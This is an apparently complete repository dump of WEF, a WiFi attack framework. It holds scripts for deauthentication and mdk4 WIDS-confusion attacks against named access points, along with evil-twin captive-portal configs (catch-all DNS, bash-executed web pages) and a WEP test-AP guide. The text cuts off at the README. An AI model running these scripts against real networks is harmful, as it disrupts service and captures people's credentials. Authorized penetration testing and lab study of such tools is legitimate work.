├── images ├── info.png ├── logo.png ├── launch.png ├── wef-demo.png ├── enable-mon.png ├── evil-twin.png ├── evil-twin2.png ├── evil-twin3.png ├── help-panel.png ├── logo_icon.png ├── wef-demo2.png ├── wef-demo3.png ├── wef-demo4.png ├── wef-demo5.png ├── installation.png └── randomize-mac.png ├── src └── wacker │ ├── wpa_supplicant_amd64 │ ├── mod_wacker.py │ └── wacker.py ├── lib ├── README.md ├── wep-ap │ ├── dnsmasq.conf │ ├── hostapd.conf │ └── README.md ├── hostapd.conf ├── dnsmasq.conf └── lighttpd.conf ├── Dockerfile ├── scripts ├── restore_vif.sh ├── gen_hostapd_conf.sh ├── create_vif.sh ├── README.md ├── wids_confusion.sh ├── deauth.sh ├── scan_wifis.sh └── apd_launchpad.py ├── .github ├── ISSUE_TEMPLATE │ └── bug_report.md └── FUNDING.yml ├── default.cfg ├── LICENSE ├── CHANGELOG.md ├── README.md └── SPANISH.md /images/info.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/info.png -------------------------------------------------------------------------------- /images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/logo.png -------------------------------------------------------------------------------- /images/launch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/launch.png -------------------------------------------------------------------------------- /images/wef-demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/wef-demo.png -------------------------------------------------------------------------------- /images/enable-mon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/enable-mon.png -------------------------------------------------------------------------------- /images/evil-twin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/evil-twin.png -------------------------------------------------------------------------------- /images/evil-twin2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/evil-twin2.png -------------------------------------------------------------------------------- /images/evil-twin3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/evil-twin3.png -------------------------------------------------------------------------------- /images/help-panel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/help-panel.png -------------------------------------------------------------------------------- /images/logo_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/logo_icon.png -------------------------------------------------------------------------------- /images/wef-demo2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/wef-demo2.png -------------------------------------------------------------------------------- /images/wef-demo3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/wef-demo3.png -------------------------------------------------------------------------------- /images/wef-demo4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/wef-demo4.png -------------------------------------------------------------------------------- /images/wef-demo5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/wef-demo5.png -------------------------------------------------------------------------------- /images/installation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/installation.png -------------------------------------------------------------------------------- /images/randomize-mac.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/randomize-mac.png -------------------------------------------------------------------------------- /src/wacker/wpa_supplicant_amd64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/WEF/HEAD/src/wacker/wpa_supplicant_amd64 -------------------------------------------------------------------------------- /lib/README.md: -------------------------------------------------------------------------------- 1 | # Lib 2 | 3 | This directory contains various configuration files that I used in some way to test or develop this tool. 4 | 5 | -------------------------------------------------------------------------------- /lib/wep-ap/dnsmasq.conf: -------------------------------------------------------------------------------- 1 | # Network interface used to set up the AP (i.e. wlan0) 2 | interface= 3 | 4 | # Range of available addresses 5 | dhcp-range=192.168.10.2,192.168.10.10,255.255.255.0,12h 6 | -------------------------------------------------------------------------------- /lib/hostapd.conf: -------------------------------------------------------------------------------- 1 | # Network interface used to set up the AP (i.e. wlan0) 2 | interface= 3 | 4 | # Name of your AP (i.e. Free-Wifi) 5 | ssid= 6 | 7 | # Band of your AP: g for 2.4 GHz and a for 5 GHz 8 | hw_mode= 9 | 10 | # AP channel (i.e. 1) 11 | channel= 12 | 13 | # Extra config, don't change unless you know what you're doing 14 | macaddr_acl=0 15 | auth_algs=1 16 | ignore_broadcast_ssid=0 17 | ieee80211n=1 18 | wme_enabled=1 19 | driver=nl80211 20 | -------------------------------------------------------------------------------- /lib/wep-ap/hostapd.conf: -------------------------------------------------------------------------------- 1 | # Network interface used to set up the AP (i.e. wlan0) 2 | interface= 3 | 4 | # Name of your AP (i.e. WEP_Example) 5 | ssid= 6 | 7 | # Band of your AP: g for 2.4Ghz and a for 5Ghz 8 | hw_mode= 9 | 10 | # AP channel (i.e. 1) 11 | channel= 12 | 13 | # 10 characters password to protect AP 14 | wep_key0= 15 | 16 | # Extra config, don't change unless you know what you're doing 17 | driver=nl80211 18 | auth_algs=1 19 | ignore_broadcast_ssid=0 20 | wep_default_key=0 21 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM kalilinux/kali-rolling:latest 2 | 3 | # Update packages and install all requirements 4 | RUN apt-get update && apt-get install -y git gcc iproute2 iw macchanger aircrack-ng mdk4 sed gawk xterm jq pciutils usbutils ethtool bsdmainutils curl procps john hashcat hcxtools hcxdumptool reaver pixiewps hostapd hostapd-wpe dnsmasq lighttpd bettercap python3 5 | 6 | # Set working directory 7 | WORKDIR /app 8 | 9 | # Clone WEF repository 10 | RUN git clone https://github.com/D3Ext/WEF 11 | 12 | # Change working directory to repository path 13 | WORKDIR /app/WEF 14 | 15 | # Execute WEF 16 | RUN bash wef 17 | 18 | 19 | -------------------------------------------------------------------------------- /scripts/restore_vif.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Restore previous VIF changes and set interface to managed mode (done with create_vif.sh) 4 | # by D3Ext 5 | 6 | if [ "$(id -u)" != "0" ]; then 7 | echo -e "Execute as root!" 8 | exit 0 9 | fi 10 | 11 | if [ "$1" ] && [ "$2" ]; then 12 | iw "$2" del 13 | ifconfig "$1" down 14 | iwconfig "$1" mode managed 15 | ifconfig "$1" up 16 | echo -e "Changes reverted!" 17 | 18 | else 19 | echo -e "Usage: restore_vif.sh " 20 | echo -e "Example: restore_vif.sh wlan0 monwlan0" 21 | echo -e "Only use this if VIF was created with create_vif.sh script" 22 | exit 0 23 | fi 24 | 25 | -------------------------------------------------------------------------------- /lib/dnsmasq.conf: -------------------------------------------------------------------------------- 1 | # Network interface used to set up the AP (i.e. wlan0) 2 | interface= 3 | 4 | # Range of available addresses 5 | dhcp-range=10.0.221.2,10.0.221.30,255.255.255.0,12h 6 | 7 | # Send options to hosts which ask for a DHCP lease 8 | dhcp-option=3,10.0.221.1 9 | dhcp-option=6,10.0.221.1 10 | 11 | # Add other name servers 12 | server=8.8.8.8 13 | 14 | # For debugging purposes, log each DNS query as it passes through dnsmasq 15 | log-queries 16 | 17 | # Log lots of extra information about DHCP transactions 18 | log-dhcp 19 | 20 | # listen for DHCP and DNS requests on given IP 21 | listen-address=10.0.221.1 22 | 23 | # Add domains which you want to force to an IP address 24 | address=/#/10.0.221.1 25 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **Expected behavior** 14 | A clear and concise description of what you expected to happen. 15 | 16 | **Screenshots** 17 | Add screenshots of the problem for a better context. 18 | 19 | **WEF version** 20 | Include script version (you can see it via CLI with `--version`) 21 | 22 | **System information:** 23 | - OS: [e.g. Linux] 24 | - Network card: [e.g. alfa awus036ac] 25 | 26 | **Does monitor mode work?** 27 | Check if it works manually using ***aircrack-ng*** suite 28 | 29 | **Additional context** 30 | Add any other context about the problem here. 31 | -------------------------------------------------------------------------------- /default.cfg: -------------------------------------------------------------------------------- 1 | # This is the default configuration file 2 | # This file must be saved as ~/.config/wef/wef.cfg 3 | 4 | # Default lenguage to use. Available values: en, es 5 | LANGUAGE=en 6 | 7 | # Execute 'airmon check kill' when monitor mode is enabled (this option is useful when using a headless setup) 8 | AIRMON_CHECK_KILL=true 9 | 10 | # Automatically enable monitor mode during launch 11 | AUTO_ENABLE_MONITOR=false 12 | 13 | # Automatically randomize the MAC address during launch 14 | AUTO_RANDOM_MAC=true 15 | 16 | # Enable/disable 5Ghz support (this makes no effect if the network card does not support it) 17 | ENABLE_5GHZ=true 18 | 19 | # Pwnagotchi whitelist to avoid attacking APs based on their BSSID 20 | BSSID_WHITELIST=XX:XX:XX:XX:XX:XX 21 | 22 | # WPA-SEC private key to upload handshakes (if you do not have one, obtain it here https://wpa-sec.stanev.org/) 23 | WPA_SEC_KEY= 24 | 25 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: d3ext # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry 13 | custom: # ['https://www.buymeacoffee.com/D3Ext'] # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 14 | -------------------------------------------------------------------------------- /scripts/gen_hostapd_conf.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Script to easily generate hostapd config files 4 | # by D3Ext 5 | 6 | if [ "$1" ] && [ "$2" ] && [ "$3" ] && [ "$4" ]; then 7 | 8 | if [ "$2" -le "14" ]; then 9 | band="g" 10 | else 11 | band="a" 12 | fi 13 | 14 | echo -e "interface=${1} 15 | ssid=${3} 16 | hw_mode=${band} 17 | channel=${2} 18 | macaddr_acl=0 19 | auth_algs=1 20 | ignore_broadcast_ssid=0 21 | ieee80211n=1 22 | wme_enabled=1 23 | driver=nl80211 24 | " > "${4}" 25 | exit 0 26 | 27 | else 28 | echo -e "Usage: gen_hostapd_conf.sh " 29 | echo -e "\t: network interface to setup the AP" 30 | echo -e "\t: channel in which the AP will work into" 31 | echo -e "\t: name of AP" 32 | echo -e "\t: file where config is writen to\n" 33 | echo -e "Example: gen_hostapd_conf wlan0 11 MyWifi hostapd.conf" 34 | exit 0 35 | fi 36 | 37 | -------------------------------------------------------------------------------- /scripts/create_vif.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Create a virtual interface and enable monitor mode on interface (revert this with revert_vif.sh) 4 | # by D3Ext 5 | 6 | if [ "$(id -u)" != "0" ]; then 7 | echo -e "Execute as root!" 8 | exit 0 9 | fi 10 | 11 | if [ "${1}" ] && [ "${2}" ]; then 12 | if hash rfkill 2> /dev/null; then 13 | rfkill unblock all > /dev/null 2>&1 14 | fi 15 | 16 | ip link set "${1}" down 17 | iw "${1}" set monitor control 18 | ip link set "${1}" up 19 | 20 | rand_mac=$(hexdump -n 6 -ve '1/1 "%.2x "' /dev/random | awk -v a="2,6,a,e" -v r="$RANDOM" 'BEGIN{srand(r);}NR==1{split(a,b,",");r=int(rand()*4+1);printf "%s%s:%s:%s:%s:%s:%s\n",substr($1,0,1),b[r],$2,$3,$4,$5,$6}') 21 | iw "${1}" interface add "${2}" type monitor addr ${rand_mac} 22 | 23 | echo -e "Interface created successfully" 24 | else 25 | echo -e "Usage: create_vif.sh " 26 | echo -e "Example: create_vif.sh wlan0 monwlan0" 27 | echo -e "Use restore_vif.sh to revert changes" 28 | exit 0 29 | fi 30 | 31 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 D3Ext 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /scripts/README.md: -------------------------------------------------------------------------------- 1 | # Scripts 2 | 3 | In this directory you can find a set of bash scripts that I personally found interesting. They have different purposes, most of them are mine but other like `apd_launchpad.py` not. 4 | 5 | - ***deauth.sh*** 6 | 7 | Script used to deauth all clients from AP using Aireplay-ng deauth mode (-0) 8 | 9 | - ***wids_confusion.sh*** 10 | 11 | Script to perform WIDS confusion attack via mdk4 12 | 13 | - ***create_vif.sh*** 14 | 15 | Create a virtual interface and enable monitor mode on interface (revert this with revert_vif.sh) 16 | 17 | - ***restore_vif.sh*** 18 | 19 | Restore previous VIF changes and set interface to managed mode (done with create_vif.sh) 20 | 21 | - ***scan_wifis.sh*** 22 | 23 | Scan nearby APs on selected band with timeout 24 | 25 | - ***gen_hostapd_conf.sh*** 26 | 27 | Script to easily generate hostapd config files 28 | 29 | - ***apd_launchpad.py*** 30 | 31 | Python script to generate hostapd config files for Wifi Enterprise with its certificates, keys and other required files. Useful for EvilTwin attacks against Enterprise networks. Taken from [here](https://github.com/WJDigby/apd_launchpad) 32 | 33 | 34 | 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /scripts/wids_confusion.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Script to perform WIDS confusion attack via mdk4 4 | # by D3Ext 5 | 6 | function ctrl_c(){ 7 | echo -e "\nAttack finished successfully" 8 | echo -e "Disabling monitor mode..." 9 | airmon-ng stop "${netCard}" &>/dev/null 10 | exit 0 11 | } 12 | 13 | if [ "$(id -u)" != "0" ]; then 14 | echo -e "Execute as root!" 15 | exit 0 16 | fi 17 | 18 | if [ "$1" ] && [ "$2" ] && [ "$3" ]; then 19 | trap ctrl_c INT 20 | 21 | echo -e "Enabling monitor mode..." 22 | airmon-ng start "$1" &>/dev/null; sleep 0.5 23 | 24 | if [ -d "/sys/class/net/$1" ]; then 25 | netCard="$1" 26 | elif [ -d "/sys/class/net/${1}mon" ]; then 27 | netCard="${1}mon" 28 | fi 29 | 30 | echo -e "Launching attack, press Ctrl + C to stop..." 31 | 32 | mdk4 "${netCard}" w -e "${2}" -c "${3}" 33 | else 34 | echo -e "Usage: wids_confusion.sh " 35 | echo -e "\t: network interface in managed mode (i.e. wlan0)" 36 | echo -e "\t: target AP name" 37 | echo -e "\t: channel in which the AP is working on\n" 38 | echo -e "Example: wids_confusion.sh wlan0 TP-LINK2023 11" 39 | exit 0 40 | fi 41 | 42 | -------------------------------------------------------------------------------- /scripts/deauth.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Script used to deauth all clients from AP using Aireplay-ng deauth mode (-0) 4 | # by D3Ext 5 | 6 | function ctrl_c(){ 7 | echo -e "\n\nAttack finished successfully" 8 | echo -e "Disabling monitor mode..." 9 | airmon-ng stop "${netCard}" &>/dev/null 10 | exit 0 11 | } 12 | 13 | if [ "$(id -u)" != "0" ]; then 14 | echo -e "Execute as root!" 15 | exit 0 16 | fi 17 | 18 | if [ "$1" ] && [ "$2" ] && [ "$3" ]; then 19 | trap ctrl_c INT 20 | 21 | echo -e "Enabling monitor mode..." 22 | airmon-ng start "$1" &>/dev/null; sleep 0.5 23 | 24 | if [ -d "/sys/class/net/$1" ]; then 25 | netCard="$1" 26 | elif [ -d "/sys/class/net/${1}mon" ]; then 27 | netCard="${1}mon" 28 | fi 29 | 30 | echo -e "Launching attack, press Ctrl + C to stop..." 31 | 32 | iwconfig "${netCard}" channel "$3"; sleep 0.1 33 | aireplay-ng -0 0 -e "${2}" -c FF:FF:FF:FF:FF:FF ${netCard} 34 | 35 | else 36 | echo -e "Usage: deauth.sh " 37 | echo -e "\t: network interface on managed mode (i.e. wlan0)" 38 | echo -e "\t: target AP name" 39 | echo -e "\t: channel in which the AP is running\n" 40 | echo -e "Example: deauth.sh wlan0 TP-LINK2023 11" 41 | exit 0 42 | fi 43 | 44 | -------------------------------------------------------------------------------- /lib/lighttpd.conf: -------------------------------------------------------------------------------- 1 | # Web root path 2 | server.document-root = "/path/to/web/dir" 3 | 4 | server.modules = ( 5 | "mod_auth", 6 | "mod_cgi", 7 | "mod_redirect" 8 | ) 9 | 10 | $HTTP["host"] =~ "(.*)" { 11 | url.redirect = ( "^/index.htm$" => "/") 12 | url.redirect-code = 302 13 | } 14 | 15 | $HTTP["host"] =~ "gstatic.com" { 16 | url.redirect = ( "^/(.*)$" => "http://connectivitycheck.google.com/") 17 | url.redirect-code = 302 18 | } 19 | 20 | $HTTP["host"] =~ "captive.apple.com" { 21 | url.redirect = ( "^/(.*)$" => "http://connectivitycheck.apple.com/") 22 | url.redirect-code = 302 23 | } 24 | 25 | $HTTP["host"] =~ "msftconnecttest.com" { 26 | url.redirect = ( "^/(.*)$" => "http://connectivitycheck.microsoft.com/") 27 | url.redirect-code = 302 28 | } 29 | 30 | $HTTP["host"] =~ "msftncsi.com" { 31 | url.redirect = ( "^/(.*)$" => "http://connectivitycheck.microsoft.com/") 32 | url.redirect-code = 302 33 | } 34 | 35 | # Web server port (i.e. 80) 36 | server.port = 37 | 38 | # Set index name (i.e. index.htm) 39 | index-file.names = ( "index-name" ) 40 | 41 | server.error-handler-404 = "/" 42 | 43 | # Set file types 44 | mimetype.assign = ( 45 | ".css" => "text/css", 46 | ".js" => "text/javascript" 47 | ) 48 | 49 | # Execute .htm files with bash 50 | cgi.assign = ( ".htm" => "/bin/bash" ) 51 | -------------------------------------------------------------------------------- /scripts/scan_wifis.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Scan nearby APs on selected band with timeout 4 | # by D3Ext 5 | 6 | if [ "$(id -u)" != "0" ]; then 7 | echo -e "Execute as root!" 8 | exit 0 9 | fi 10 | 11 | if [ "$1" ] && [ "$2" ] && [ "$3" ]; then 12 | 13 | echo -e "Enabling monitor mode..." 14 | airmon-ng start "$1" &>/dev/null; sleep 0.3; echo 15 | 16 | if [ -d "/sys/class/net/$1" ]; then 17 | netCard="$1" 18 | elif [ -d "/sys/class/net/${1}mon" ]; then 19 | netCard="${1}mon" 20 | fi 21 | 22 | if [ "$2" == "2.4" ]; then 23 | timeout "$3" bash -c "wash -i ${netCard} -a -s -2" 24 | 25 | elif [ "$2" == "5" ]; then 26 | timeout "$3" bash -c "wash -i ${netCard} -a -s -5" 27 | 28 | elif [ "$2" == "both" ]; then 29 | timeout "$3" bash -c "wash -i ${netCard} -a -s -2 -5" 30 | 31 | else 32 | echo -e "Invalid band! Allowed values: 2.4/5/both" 33 | exit 0 34 | fi 35 | 36 | echo -e "\nDisabling monitor mode..." 37 | airmon-ng stop "${netCard}" &>/dev/null 38 | exit 0 39 | 40 | else 41 | echo -e "Usage: scan_wifis.sh " 42 | echo -e "\t: interface in managed mode (i.e. wlan0)" 43 | echo -e "\t: band in which to scan APs (2.4/5/both)" 44 | echo -e "\t: scan duration (i.e. 1m)\n" 45 | echo -e "Example using 2.4Ghz: scan_wifis.sh wlan0 2.4 40s" 46 | echo -e "Example using 2.4 and 5 Ghz: scan_wifis.sh wlan0 both 40s" 47 | exit 0 48 | fi 49 | 50 | 51 | -------------------------------------------------------------------------------- /lib/wep-ap/README.md: -------------------------------------------------------------------------------- 1 | # How to create a WEP access point 2 | 3 | In order to test WEP attacks, I decided to create a little guide with required commands and needed config files. 4 | 5 | If you want to test WEP attacks with your own fake WEP AP, you must know that you should split your network card into 2 differents, one to host the AP and other to test this attacks using monitor mode while the AP is running. 6 | 7 | ## How to split interface 8 | 9 | To check if your network adapter supports VIF (Virtual Interfaces) run this command, if it returns output then it does: 10 | 11 | ```sh 12 | iw list | grep "Supported interface modes" -A 8 | grep "AP/VLAN" 13 | ``` 14 | 15 | ***If you are not going to use the same adapter for both purposes, then you don't need to do that so skip next steps too*** 16 | 17 | Just ensure to replace "wlan0" with your interface name 18 | 19 | ```sh 20 | interface="wlan0" 21 | rand_mac="f2:11:56:8c:1a:68" 22 | 23 | ip link set "$interface" down 24 | iw "$interface" set monitor control 25 | ip link set "$interface" up 26 | 27 | iw "$interface" interface add "mon${interface}" type monitor addr ${rand_mac} 28 | ``` 29 | 30 | After that you should have a new interface named as "monwlan0" or "mon" followed by whatever your interfaces is called 31 | 32 | If you want to revert this changes execute this commands: 33 | 34 | ```sh 35 | iw "mon${interface}" del 36 | 37 | ifconfig "$interface" down 38 | iwconfig "$interface" mode managed 39 | ifconfig "$interface" up 40 | ``` 41 | 42 | ## Launching AP 43 | 44 | All we need is ***hostapd-wpe*** and ***dnsmasq***, make proper changes on [hostapd.conf](https://github.com/D3Ext/WEF/blob/main/lib/wep-ap/hostapd.conf) and [dnsmasq.conf](https://github.com/D3Ext/WEF/blob/main/lib/wep-ap/dnsmasq.conf) in order to make it work for you 45 | 46 | ```sh 47 | hostapd-wpe hostapd.conf 48 | ``` 49 | 50 | 51 | 52 | ```sh 53 | dnsmasq -C dnsmasq.conf 54 | ``` 55 | 56 | # References 57 | 58 | ``` 59 | https://stackoverflow.com/questions/41226380/hostapd-configuration-for-wep-network 60 | http://www.netprojnetworks.com/hostapd-wep-config/ 61 | https://medium.com/@rueppricha/how-to-configure-a-raspberry-pi-hostapd-router-to-use-wep-encryption-d3e4a300ef99 62 | https://github.com/NuclearPhoenixx/RouteryPi 63 | https://github.com/OpenSecurityResearch/hostapd-wpe 64 | ``` 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | - new update: pwnagotchi mode, more languages supported for EvilTwin portals, bugs fixed and more 2 | - some necessary changes to prevent errors on PMKID attack, and extra little changes 3 | - little changes 4 | - new version (a lot of big changes) 5 | - important fix 6 | - importan fix and more little changes 7 | - error fixes and little changes on setup.sh 8 | - setup.sh hot fix 9 | - General improvement, new attack (WIDS Confusion), EvilTwin attack rework, more functions, better output logging, bug fixes, explanations added to repo's Wiki, code optimization and much more 10 | - Merge pull request #31 from v1nc/patch-1 11 | - Add installation of reaver to setup for on arch 12 | - Little changes 13 | - Create FUNDING.yml 14 | - bug issue template added 15 | - some minor changes 16 | - code tabulation fixed 17 | - Update README.md 18 | - code optimization, fixes, general improvements 19 | - Merge pull request #29 from tomdot-dev/main 20 | - Fix inhibit typo 21 | - Merge pull request #28 from tomdot-dev/fix-typo-setup 22 | - Fix typo in setup.sh 23 | - Update README.md 24 | - Merge pull request #25 from iArmanKarimi/main 25 | - Merge pull request #2 from iArmanKarimi/md 26 | - fix grammar 27 | - Merge pull request #1 from iArmanKarimi/md 28 | - Fix all markdown violations 29 | - typo 30 | - Update README.md 31 | - Update setup.sh 32 | - Update README.md 33 | - Update README.md 34 | - Update README.md 35 | - Update WEF 36 | - Update README.md 37 | - Update setup.sh 38 | - Update README.md 39 | - Update WEF 40 | - Merge pull request #17 from ultrazar/main 41 | - Merge branch 'main' of https://github.com/ultrazar/WEF 42 | - bug fix 43 | - Improvements and bugs fixes 44 | - Merge pull request #16 from ultrazar/main 45 | - improvements 46 | - Update setup.sh 47 | - Update uninstaller.sh 48 | - Update clear.sh 49 | - Update WEF 50 | - Update WEF 51 | - Update setup.sh 52 | - Update README.md 53 | - Merge pull request #15 from ultrazar/main 54 | - . 55 | - updates to setup.sh and moving files 56 | - Update setup.sh 57 | - Add files via upload 58 | - Update setup.sh 59 | - Add files via upload 60 | - Delete WEF.png 61 | - Update README.md 62 | - Update README.md 63 | - Add files via upload 64 | - Add files via upload 65 | - Delete WEF.png 66 | - Add files via upload 67 | - Update README.md 68 | - Add files via upload 69 | - Update .gitignore 70 | - Add files via upload 71 | - Add files via upload 72 | - Update version.txt 73 | - Update WEF 74 | - Update setup.sh 75 | - Update README.md 76 | - Merge pull request #4 from TLC-10/main 77 | - Update README.md 78 | - Add files via upload 79 | - Delete update.sh 80 | - Update README.md 81 | - Update WEF 82 | - Update WEF 83 | - Update README.md 84 | - Update README.md 85 | - Update .wef.config 86 | - Add files via upload 87 | - Delete wef 88 | - Add files via upload 89 | - Add files via upload 90 | - Add files via upload 91 | - Update README.md 92 | - Add files via upload 93 | - Update setup.sh 94 | - Add files via upload 95 | - Update setup.sh 96 | - Update setup.sh 97 | - Update setup.sh 98 | - Update setup.sh 99 | - Create .wef.config 100 | - Update setup.sh 101 | - Update setup.sh 102 | - Update uninstaller.sh 103 | - Update setup.sh 104 | - Merge pull request #2 from ultrazar/main 105 | - last changes 106 | - . 107 | - new setup.sh 108 | - Add files via upload 109 | - Fixed Arch Linux problems and some updates 110 | - Update WEF 111 | - Update README.md 112 | - Add files via upload 113 | - Delete WEF 114 | - Update README.md 115 | - Update README.md 116 | - Update README.md 117 | - Add files via upload 118 | - Merge pull request #1 from ultrazar/patch-1 119 | - Update WEF 120 | - Solution for monitor mode check 121 | - Add files via upload 122 | - Delete WEF 123 | - Update setup.sh 124 | - Add files via upload 125 | - Delete WEF 126 | - Update README.md 127 | - Add files via upload 128 | - Delete WEF 129 | - Update README.md 130 | - Update setup.sh 131 | - Update setup.sh 132 | - Update README.md 133 | - Add files via upload 134 | - Delete banner.png 135 | - Update README.md 136 | - Add files via upload 137 | - Delete WEF 138 | - Update setup.sh 139 | - Create update.sh 140 | - Create version.txt 141 | - Update README.md 142 | - Update README.md 143 | - Update setup.sh 144 | - Update setup.sh 145 | - Update setup.sh 146 | - Add files via upload 147 | - Delete WEF 148 | - Update README.md 149 | - Add files via upload 150 | - Delete WEF 151 | - Update README.md 152 | - Update uninstaller.sh 153 | - Add files via upload 154 | - Update setup.sh 155 | - Update setup.sh 156 | - Delete wef-demo.png 157 | - Update README.md 158 | - Add files via upload 159 | - Delete WEF 160 | - Update README.md 161 | - Update setup.sh 162 | - Update README.md 163 | - Update setup.sh 164 | - Add files via upload 165 | - Delete WEF 166 | - Create LICENSE 167 | - Delete LICENSE 168 | - Update README.md 169 | - Update setup.sh 170 | - Update clear.sh 171 | - Delete versions directory 172 | - Add files via upload 173 | - Add files via upload 174 | - Add files via upload 175 | - Add files via upload 176 | - Delete WEF 177 | - Add files via upload 178 | - Delete WEF 179 | - Add files via upload 180 | - Delete WEF 181 | - Update clear.sh 182 | - Update clear.sh 183 | - Add files via upload 184 | - Delete WEF 185 | - Update clear.sh 186 | - Update setup.sh 187 | - Add files via upload 188 | - Delete WEF 189 | - Update README.md 190 | - Create requirements.txt 191 | - Update README.md 192 | - Update setup.sh 193 | - Add files via upload 194 | - Add files via upload 195 | - Update README.md 196 | - Update README.md 197 | - Delete temp 198 | - Add files via upload 199 | - Create temp 200 | - Delete wef 201 | - Create wef 202 | - Update setup.sh 203 | - Add files via upload 204 | - Delete WEF 205 | - Update clear.sh 206 | - Update setup.sh 207 | - Update setup.sh 208 | - Update README.md 209 | - Delete skull5.jpg 210 | - Delete skull2.jpg 211 | - Delete skull.png 212 | - Update README.md 213 | - Add files via upload 214 | - Delete skull.png 215 | - Update README.md 216 | - Update README.md 217 | - Add files via upload 218 | - Delete anti-wifi.png 219 | - Add files via upload 220 | - Update WEF 221 | - Update WEF 222 | - Update WEF 223 | - Update README.md 224 | - Update README.md 225 | - Update README.md 226 | - Add files via upload 227 | - Delete setup.sh 228 | - Update setup.sh 229 | - Update README.md 230 | - Add files via upload 231 | - Add files via upload 232 | - Delete WEF-1-8.sh 233 | - Update setup.sh 234 | - Update clear.sh 235 | - Update README.md 236 | - Add files via upload 237 | - Update WEF-1-7.sh 238 | - Update WEF-1-7.sh 239 | - Update WEF-1-7.sh 240 | - Update README.md 241 | - Add files via upload 242 | - Update README.md 243 | - Update README.md 244 | - Update README.md 245 | - Update README.md 246 | - Update README.md 247 | - Update WEF-1-7.sh 248 | - Add files via upload 249 | - Update clear.sh 250 | - Update clear.sh 251 | - Update setup.sh 252 | - Add files via upload 253 | - Update setup.sh 254 | - Create clear.sh 255 | - Add files via upload 256 | - Add files via upload 257 | - Update README.md 258 | - Update README.md 259 | - Update README.md 260 | - Update README.md 261 | - Update README.md 262 | - Update setup.sh 263 | - Create setup.sh 264 | - Delete WEF.sh 265 | - Add files via upload 266 | - Add files via upload 267 | - Update README.md 268 | - Delete test2 269 | - Add files via upload 270 | - Create test2 271 | - Delete test 272 | - Update README.md 273 | - Add files via upload 274 | - Create test 275 | - Add files via upload 276 | - Initial commit 277 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 